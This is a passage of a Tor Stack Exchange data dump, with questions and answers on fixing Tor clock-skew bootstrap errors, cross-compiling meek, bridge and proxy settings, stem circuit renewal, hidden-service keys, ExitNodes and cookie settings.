/system.slice/tor.service&#xA;           └─17112 /usr/bin/tor -f /etc/tor/torrc&#xA;&#xA;Jun 26 18:16:09 coleton Tor[17112]: Received directory with skewed time (server &#xA;Jun 26 18:16:09 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:16:10 coleton Tor[17112]: Bootstrapped 40%: Loading authority key cert&#xA;Jun 26 18:16:10 coleton Tor[17112]: Received directory with skewed time (server &#xA;Jun 26 18:16:10 coleton Tor[17112]: Our clock is 3 hours, 43 minutes behind the &#xA;Jun 26 18:16:10 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:17:09 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:18:09 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:19:11 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:24:15 coleton Tor[17112]: I learned some more directory information, b&#xA;lines 1-18/18 (END)...skipping...&#xA;● tor.service - Anonymizing Overlay Network&#xA;   Loaded: loaded (/usr/lib/systemd/system/tor.service; disabled; vendor preset: disabled)&#xA;   Active: active (running) since Sun 2016-06-26 18:16:05 UTC; 8min ago&#xA; Main PID: 17112 (tor)&#xA;    Tasks: 1 (limit: 512)&#xA;   CGroup: /system.slice/tor.service&#xA;           └─17112 /usr/bin/tor -f /etc/tor/torrc&#xA;&#xA;Jun 26 18:16:09 coleton Tor[17112]: Received directory with skewed time (server '131.188.40.189:443'): It seems that our clock is behind by 3 hours, 59 minutes, or that theirs is ahead. Tor requires an accurate&#xA;Jun 26 18:16:09 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&#xA;Jun 26 18:16:10 coleton Tor[17112]: Bootstrapped 40%: Loading authority key certs&#xA;Jun 26 18:16:10 coleton Tor[17112]: Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 3 hours, 59 minutes, or that theirs is ahead. Tor requires an accurate&#xA;Jun 26 18:16:10 coleton Tor[17112]: Our clock is 3 hours, 43 minutes behind the time published in the consensus network status document (2016-06-26 22:00:00 UTC).  Tor needs an accurate clock to work correctly.&#xA;Jun 26 18:16:10 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:17:09 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:18:09 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:19:11 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:24:15 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error (Which I think it's this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Our clock is 3 hours, 43 minutes behind the time published in the consensus network status document (2016-06-26 22:00:00 UTC).  Tor needs an accurate clock to work correctly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is weird because my clock is in fact set correctly.&#xA;Any Idea Guys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S Following this guide:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=T3MvgF36I2U&quot; rel=&quot;nofollow noreferrer&quot;&gt;Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I followed &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;@canonizing ironize&lt;/a&gt; but got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[coleton@coleton ~]$ sudo systemctl status tor.service&#xA;● tor.service - Anonymizing Overlay Network&#xA;   Loaded: loaded (/usr/lib/systemd/system/tor.service; disabled; vendor preset:&#xA;   Active: active (running) since Sun 2016-06-26 18:16:05 UTC; 4h 13min left&#xA; Main PID: 17112 (tor)&#xA;    Tasks: 1 (limit: 512)&#xA;   CGroup: /system.slice/tor.service&#xA;           └─17112 /usr/bin/tor -f /etc/tor/torrc&#xA;&#xA;Jun 26 18:16:10 coleton Tor[17112]: Bootstrapped 40%: Loading authority key cert&#xA;Jun 26 18:16:10 coleton Tor[17112]: Received directory with skewed time (server &#xA;Jun 26 18:16:10 coleton Tor[17112]: Our clock is 3 hours, 43 minutes behind the &#xA;Jun 26 18:16:10 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:17:09 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:18:09 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:19:11 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:24:15 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 18:34:26 coleton Tor[17112]: I learned some more directory information, b&#xA;Jun 26 14:00:01 coleton Tor[17112]: Your system clock just jumped 18067 seconds &#xA;lines 1-18/18 (END)...skipping...&#xA;● tor.service - Anonymizing Overlay Network&#xA;   Loaded: loaded (/usr/lib/systemd/system/tor.service; disabled; vendor preset: disabled)&#xA;   Active: active (running) since Sun 2016-06-26 18:16:05 UTC; 4h 13min left&#xA; Main PID: 17112 (tor)&#xA;    Tasks: 1 (limit: 512)&#xA;   CGroup: /system.slice/tor.service&#xA;           └─17112 /usr/bin/tor -f /etc/tor/torrc&#xA;&#xA;Jun 26 18:16:10 coleton Tor[17112]: Bootstrapped 40%: Loading authority key certs&#xA;Jun 26 18:16:10 coleton Tor[17112]: Received directory with skewed time (server '199.254.238.52:443'): It seems that our clock is behind by 3 hours, 59 minutes, or that theirs is ahead. Tor requires an accurate&#xA;Jun 26 18:16:10 coleton Tor[17112]: Our clock is 3 hours, 43 minutes behind the time published in the consensus network status document (2016-06-26 22:00:00 UTC).  Tor needs an accurate clock to work correctly.&#xA;Jun 26 18:16:10 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:17:09 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:18:09 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:19:11 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:24:15 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 18:34:26 coleton Tor[17112]: I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Jun 26 14:00:01 coleton Tor[17112]: Your system clock just jumped 18067 seconds backward; assuming established circuits no longer work.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12955" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-06-27T14:56:33.307" Title="Not Able To Connect To Tor {Arch Linux}" Tags="|linux|" AnswerCount="2" CommentCount="3" ClosedDate="2016-07-04T15:25:35.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="11966" PostTypeId="2" ParentId="9544" CreationDate="2016-06-26T23:35:39.640" Score="1" Body="&lt;p&gt;&lt;code&gt;Meek&lt;/code&gt; is written in Go. It has pretty reasonable cross-platform compilation options (compared to some languages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you don't only cross-compile based on the operating system, you cross-compile based on the architecture &lt;em&gt;and&lt;/em&gt; operating system. You need to know what architecture your OpenWRT router is running on. Go supports quite a wide variety of options and since Golang 1.5 cross-compiling has been a lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://golang.org/doc/install/source#environment&quot; rel=&quot;nofollow&quot;&gt;https://golang.org/doc/install/source#environment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Choices for $GOOS are darwin (Mac OS X 10.7 and above and iOS), dragonfly, freebsd, linux, netbsd, openbsd, plan9, solaris and windows. Choices for $GOARCH are amd64 (64-bit x86, the most mature port), 386 (32-bit x86), arm (32-bit ARM), arm64 (64-bit ARM), ppc64le (PowerPC 64-bit, little-endian), ppc64 (PowerPC 64-bit, big-endian), mips64le (MIPS 64-bit, little-endian), and mips64 (MIPS 64-bit, big-endian).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then, to build a copy of the &lt;code&gt;meek-client&lt;/code&gt;, lets say for Linux on ARM64 you'd run a series of commands like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export GOPATH=`mktemp -d`&#xA;export GOARCH=arm64&#xA;export GOOS=linux&#xA;go get -u git.torproject.org/pluggable-transports/meek.git/meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this should result in a copy of &lt;code&gt;meek-client&lt;/code&gt; built for linux on arm64 in the &lt;code&gt;$GOPATH/bin/linux_arm64/&lt;/code&gt; folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file $GOPATH/bin/linux_arm64/meek-client&#xA;/tmp/tmp.kovJoNMmiL/bin/linux_arm64/meek-client: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your OpenWRT's Tor then needs to be configured to use meek, assuming you installed the &lt;code&gt;meek-client&lt;/code&gt; you built before at &lt;code&gt;/usr/local/bin/meek-client&lt;/code&gt; and you wanted to use the google domain front you'd add some lines to your torrc like these&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin meek exec /usr/local/bin/meek-client --url=https://meek-reflect.appspot.com/ --front=https://www.google.com/&#xA;UseBridges 1&#xA;Bridge meek 0.0.2.0:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-27T01:27:42.350" LastActivityDate="2016-06-27T01:27:42.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11967" PostTypeId="2" ParentId="11964" CreationDate="2016-06-27T14:08:15.247" Score="0" Body="&lt;p&gt;Ok, after looking around other &lt;em&gt;simaler&lt;/em&gt; questions, &lt;a href=&quot;https://tor.stackexchange.com/questions/6887/failed-to-connect-to-tor-network&quot;&gt;this one&lt;/a&gt; was it. But it was actually a site that helped not any answers in the question. &lt;a href=&quot;http://vancouver-webpages.com/time/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This site&lt;/a&gt; showed me my true local time. Then I converted it to millatary time. Then it worked. Doing the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;timedatectl set-timezone UTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does not work and is a waste of time in my case. But using the above site to do it for you.&lt;/p&gt;&#xA;" OwnerUserId="12955" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-06-27T14:08:15.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11968" PostTypeId="2" ParentId="11964" CreationDate="2016-06-27T14:56:33.307" Score="0" Body="&lt;p&gt;Your problem is with time on your PC. For a fail-safe setup use UTC timezone and NTP to sync your time: local timezones are &lt;em&gt;rarely&lt;/em&gt; causing this problem even being selected correctly: if the PC has an old TZ definition and it's changed(from GMT+3 to GMT+4 for example) or vice versa(if you have a new TZ definition but servers still have old). NTP time sync is essential, and - by the way - you can use a cheap GPS module to obtain a precise timing&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-27T14:56:33.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11970" PostTypeId="1" AcceptedAnswerId="11971" CreationDate="2016-06-27T15:53:06.810" Score="0" ViewCount="181" Body="&lt;p&gt;Im fairly new to this so don't judge, but Im currently at a workplace on a windows 7 laptop and they've blocked almost every site, including proxies and what not, the way I downloaded tor was by connecting the computer to my phones hotspot. So after I downloaded tor ive tried putting in my ip and port. Im pretty sure the ip is correct, but when im in command prompt and type netstat -a it constantly goes on and on with different port numbers. Im not really sure what im doing wrong or how to find the correct port but can anyone help me out? What do I put in for the bridges, proxy type, ip, and port? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13441" LastEditorUserId="13441" LastEditDate="2016-06-27T15:59:14.720" LastActivityDate="2016-06-27T17:53:11.223" Title="Cannot Configure Tor" Tags="|configuration|ip-address|" AnswerCount="2" CommentCount="0" ClosedDate="2016-06-27T19:48:06.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="11971" PostTypeId="2" ParentId="11970" CreationDate="2016-06-27T16:18:57.410" Score="-2" Body="&lt;p&gt;The ip Should Be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the port: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12955" LastActivityDate="2016-06-27T16:18:57.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11972" PostTypeId="2" ParentId="11970" CreationDate="2016-06-27T17:53:11.223" Score="0" Body="&lt;h3&gt;&amp;quot;What do I put in for the bridges, proxy type, ip, and port?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Assuming you are configuring Tor Browser's Network Settings, you should only need to configure any of these settings if you can't connect to Tor without them due to your provider blocking the connections or requiring some local proxy to route out to the internet.&lt;/p&gt;&#xA;&lt;p&gt;Bridges are only required if you cannot connect to Tor relays normally. If you can't connect without configuring them due to the connections being dropped or similar (check your logs) then first try the default bridges that are set in Tor Browser, preferrably using &lt;code&gt;obfs4&lt;/code&gt;. If that doesn't work, try fetching some &lt;code&gt;obfs4&lt;/code&gt; birdges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt;. If these still don't work, &lt;code&gt;meek&lt;/code&gt; should be what you try next. If &lt;code&gt;meek&lt;/code&gt; doesn't work you're probably going to need to take some extra steps to connect, through perhaps creating some tunnel to an outside network that isn't blocked (ssh, for example) or some other bespoke solution.&lt;/p&gt;&#xA;&lt;p&gt;For proxy type, IP, and port, these will depend on your local provider. As mentioned if you don't normally need to configure one, you won't need to set these at all.&lt;/p&gt;&#xA;&lt;p&gt;If instead you're configuring another application to use the same connection provided by an &lt;em&gt;already running and connected&lt;/em&gt; Tor Browser, then you should set the type to &lt;code&gt;SOCKS5&lt;/code&gt; or &lt;code&gt;SOCKS4a&lt;/code&gt;, the IP to &lt;code&gt;127.0.0.1&lt;/code&gt; and the port to &lt;code&gt;9150&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-27T17:53:11.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11973" PostTypeId="2" ParentId="9953" CreationDate="2016-06-27T18:36:40.067" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1167&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1167&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10 -- TIMEOUT         (Circuit construction took too long)&#xA;...&#xA;11 -- DESTROYED       (The circuit was destroyed w/o client TRUNCATE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is that there's something wrong with how you're trying to build the circuits in the first place. Have a look at how &lt;a href=&quot;https://github.com/NullHypothesis/exitmap/blob/52ac9c18fd1f1627076e41f143ca0455fd6be9ec/src/exitmap.py#L407-L439&quot; rel=&quot;nofollow&quot;&gt;ExitMap currently builds custom circuits&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-27T18:36:40.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11974" PostTypeId="2" ParentId="3415" CreationDate="2016-06-28T05:49:17.707" Score="1" Body="&lt;p&gt;Yes. You can use &lt;a href=&quot;https://stem.torproject.org&quot; rel=&quot;nofollow&quot;&gt;stem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your Tor control port is 9051 and no cookie or password is needed, the following code will initialize a controller object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import stem&#xA;import stem.control&#xA;controller=stem.control.Controller.from_port()&#xA;controller.authenticate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, each time you want a new circuit, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;controller.signal(stem.Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default, Tor will only establish a new circuit in this way at most every 10 seconds. If you want to have new circuits more frequently, you will need to changed the source code. &lt;code&gt;MAX_SIGNEWNYM_RATE&lt;/code&gt; means the &lt;strong&gt;interval&lt;/strong&gt; in seconds (although its name suggests the rate) at which it will accept the signal &lt;code&gt;NEWNYM&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-06-28T05:49:17.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11977" PostTypeId="2" ParentId="11892" CreationDate="2016-06-28T14:40:09.177" Score="0" Body="&lt;p&gt;I would go with Onion Browser; they are open source and pretty well reviewed on the iTunes stores. &lt;a href=&quot;https://github.com/mtigas/iOS-OnionBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Browser Github&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3066" LastEditorUserId="14997" LastEditDate="2019-05-21T21:45:48.633" LastActivityDate="2019-05-21T21:45:48.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11978" PostTypeId="1" CreationDate="2016-06-28T15:21:47.927" Score="1" ViewCount="758" Body="&lt;p&gt;I'm testing Silvertunnel-NG lib. I want to have a server that accepts connections and a client in the same application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this moment, I'm trying to connect to my own hidden service created by Silvertunnel-NG lib. I can do it, but my hostname change in every execution. I can connect but first I have to create a new hidden service, I can't use an onion address created in other execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my test code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static void setHiddenService(File dir, TorNetLayerUtil tNLU) throws IOException {&#xA;    // Create new private+public hidden service key&#xA;    TorHiddenServicePrivateNetAddress tHSPNA = tNLU.createNewTorHiddenServicePrivateNetAddress();&#xA;&#xA;    // write new private+public hidden service key to directory&#xA;    dir.mkdir();&#xA;    tNLU.writeTorHiddenServicePrivateNetAddressToFiles(dir, tHSPNA);&#xA;}&#xA;&#xA;public static TorHiddenServicePortPrivateNetAddress readHiddenService(File dir, TorNetLayerUtil tNLU, int port) throws IOException {&#xA;    TorHiddenServicePrivateNetAddress netAddress = tNLU.readTorHiddenServicePrivateNetAddressFromFiles(dir, true);&#xA;    return new TorHiddenServicePortPrivateNetAddress(netAddress, port);&#xA;}&#xA;&#xA;public static void setUp() {&#xA;    System.setProperty(TorConfig.SYSTEMPROPERTY_TOR_MINIMUM_ROUTE_LENGTH, &quot;2&quot;);&#xA;    System.setProperty(TorConfig.SYSTEMPROPERTY_TOR_MAXIMUM_ROUTE_LENGTH, &quot;2&quot;);&#xA;    System.setProperty(TorConfig.SYSTEMPROPERTY_TOR_MINIMUM_IDLE_CIRCUITS, &quot;2&quot;);&#xA;    TorConfig.reloadConfigFromProperties();&#xA;}&#xA;&#xA;public static void main(String[] args) throws IOException {&#xA;&#xA;    setUp(); // setup TOR for tests&#xA;&#xA;    TorNetLayerUtil tNLU = TorNetLayerUtil.getInstance();&#xA;    File dir = new File(&quot;/key/&quot;); // directory of hostname file&#xA;    setHiddenService(dir, tNLU); // create a new hidden service&#xA;&#xA;    TorHiddenServicePortPrivateNetAddress netAddress = readHiddenService(dir, tNLU, 80);&#xA;&#xA;    // get TorNetLayer instance and wait until it is ready&#xA;    NetLayer netLayer = NetFactory.getInstance().getNetLayerById(NetLayerIDs.TOR);&#xA;    netLayer.waitUntilReady();&#xA;&#xA;    TorNetServerSocket netServerSocket = (TorNetServerSocket) netLayer.createNetServerSocket(null, netAddress);&#xA;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i comment &quot;setHiddenService(dir, tNLU);&quot; there are a connection problem, because my hostname have changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lib: Silvertunnel-NG 0.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have created a new method to get hidden service from a private_key file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static TorHiddenServicePrivateNetAddress createHiddenServiceFromPrivKey(File pkfile, TorNetLayerUtil tNLU) throws IOException{&#xA;    final String privateKeyPEMStr = FileUtil.readFile(pkfile);&#xA;    final TorHiddenServicePrivateNetAddress netAddressWithoutPort = tNLU.parseTorHiddenServicePrivateNetAddressFromStrings(privateKeyPEMStr, null, false);&#xA;&#xA;    return netAddressWithoutPort;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I recommend to use Stem (Python based) in order to control TOR. Works better.&lt;/p&gt;&#xA;" OwnerUserId="13449" LastEditorUserId="13449" LastEditDate="2016-07-17T14:18:53.370" LastActivityDate="2017-07-12T21:02:01.657" Title="Hidden service hostname change" Tags="|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11979" PostTypeId="2" ParentId="11978" CreationDate="2016-06-28T15:44:02.410" Score="1" Body="&lt;p&gt;You need to supply a &lt;em&gt;pre-generated&lt;/em&gt; key for your hidden service, or it will be considered as an &lt;em&gt;ephimerial&lt;/em&gt;, i.e. it exists only until restart. This is the default behaviour, so if you want to have a static hidden service name - no problem! Pre-generate your key and supply it as an argument to your code for creating the service: it's an optional argument in the call.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-28T15:44:02.410" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="11980" PostTypeId="2" ParentId="4032" CreationDate="2016-06-29T01:28:36.177" Score="1" Body="&lt;p&gt;the best way - IMHO - is to use &lt;code&gt;redsocks&lt;/code&gt; or IPTables/pf+TransPort and put a Tor node as a router to your network. Don't forget a DNS server too!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-29T01:28:36.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11982" PostTypeId="2" ParentId="733" CreationDate="2016-06-29T10:49:07.557" Score="-1" Body="&lt;p&gt;AFAIK this is not in the documentation and not in the answer above, so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The country coude must be in capitals, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {NL}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With small letters &quot;{nl}&quot; the line was ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the following commands you can check that the setting is working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl ipinfo.io/&#xA;torsocks curl ipinfo.io/country&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13459" LastEditorUserId="13460" LastEditDate="2016-07-04T15:26:38.633" LastActivityDate="2016-07-04T15:26:38.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11983" PostTypeId="1" CreationDate="2016-06-29T12:54:35.313" Score="0" ViewCount="84" Body="&lt;p&gt;What would be advisable? Should I disable cookies in Tor for safe searching or no? &lt;/p&gt;&#xA;" OwnerUserId="12731" LastActivityDate="2016-06-29T23:35:03.640" Title="Should I disable cookies for Tor?" Tags="|cookies|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-07-04T15:28:38.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="11984" PostTypeId="2" ParentId="8910" CreationDate="2016-06-29T16:33:44.817" Score="0" Body="&lt;p&gt;Yes. Leaving less tracks = being more anonymous&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-29T16:33:44.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11986" PostTypeId="2" ParentId="8910" CreationDate="2016-06-29T23:35:03.640" Score="1" Body="&lt;p&gt;No, by default Tor Browser allows cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you disable cookies you will look different from most other Tor Browser users, this means you will be in a smaller anonymity set and therefor less anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should use Tor Browser's &quot;New Identity&quot; button located under the Tor Button &lt;em&gt;(Green Onion)&lt;/em&gt; menu. This will clear state associated with your current browsing session and unlink your browser from any previous browsing, including any cookies that have been set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, cookies are an integral part of many websites functionality and disabling them will potentially cause unexpected breaks in normal website functionality, for example: the ability to login to a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies are only one of the myriad ways in which websites can influence browser state to track you, disabling them will harm your usability, anonymity set and in doing so won't stop websites from being able to track you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information read &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#idp55056352&quot; rel=&quot;nofollow&quot;&gt;The Design And Implementation of the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-29T23:35:03.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11988" PostTypeId="2" ParentId="733" CreationDate="2016-06-30T03:09:58.963" Score="3" Body="&lt;p&gt;I find that lower case works fine and I also don't need to use StrictNodes.  For example I simply add ExitNodes {jp} to my torrc to make the receiver always think the sender is from Japan.&lt;/p&gt;&#xA;" OwnerUserId="13076" LastEditorUserId="88" LastEditDate="2020-11-26T19:34:11.693" LastActivityDate="2020-11-26T19:34:11.693" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="11989" PostTypeId="2" ParentId="9947" CreationDate="2016-06-30T03:31:39.913" Score="1" Body="&lt;p&gt;If they're only looking at your network traffic then they would know you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They wouldn't be able to know what your traffic contained or where it was sent to or received from but they could &lt;em&gt;estimate&lt;/em&gt; how much traffic you've sent and received and when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all depends on you &lt;em&gt;owning&lt;/em&gt; the hardware &lt;em&gt;and&lt;/em&gt; operating system that Tor Browser is running on. If your device is part of a &lt;em&gt;&quot;Windows Domain&quot;&lt;/em&gt; or similar then the &lt;em&gt;&quot;Domain Administrator&quot;&lt;/em&gt; can make you run what is essentially malware and see everything that is happening on the system without exception.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-30T03:31:39.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11990" PostTypeId="2" ParentId="10243" CreationDate="2016-06-30T09:37:37.803" Score="1" Body="&lt;p&gt;The answer to my question is &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#UpgradeOrMove&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Excerpt (emphasis mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When upgrading your Tor relay, or moving it on a different computer, &lt;strong&gt;the important part is to keep the same identity keys&lt;/strong&gt; (stored in &quot;keys/ed25519_master_id_secret_key&quot; and &quot;keys/secret_id_key&quot; &lt;strong&gt;in your DataDirectory&lt;/strong&gt;). Keeping backups of the identity keys so you can restore a relay in the future is the recommended way to ensure the reputation of the relay won't be wasted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; once the keys are generated, they can be migrated to any machine. Cool!&lt;/p&gt;&#xA;" OwnerUserId="12396" LastEditorUserId="14997" LastEditDate="2019-05-26T21:25:35.530" LastActivityDate="2019-05-26T21:25:35.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
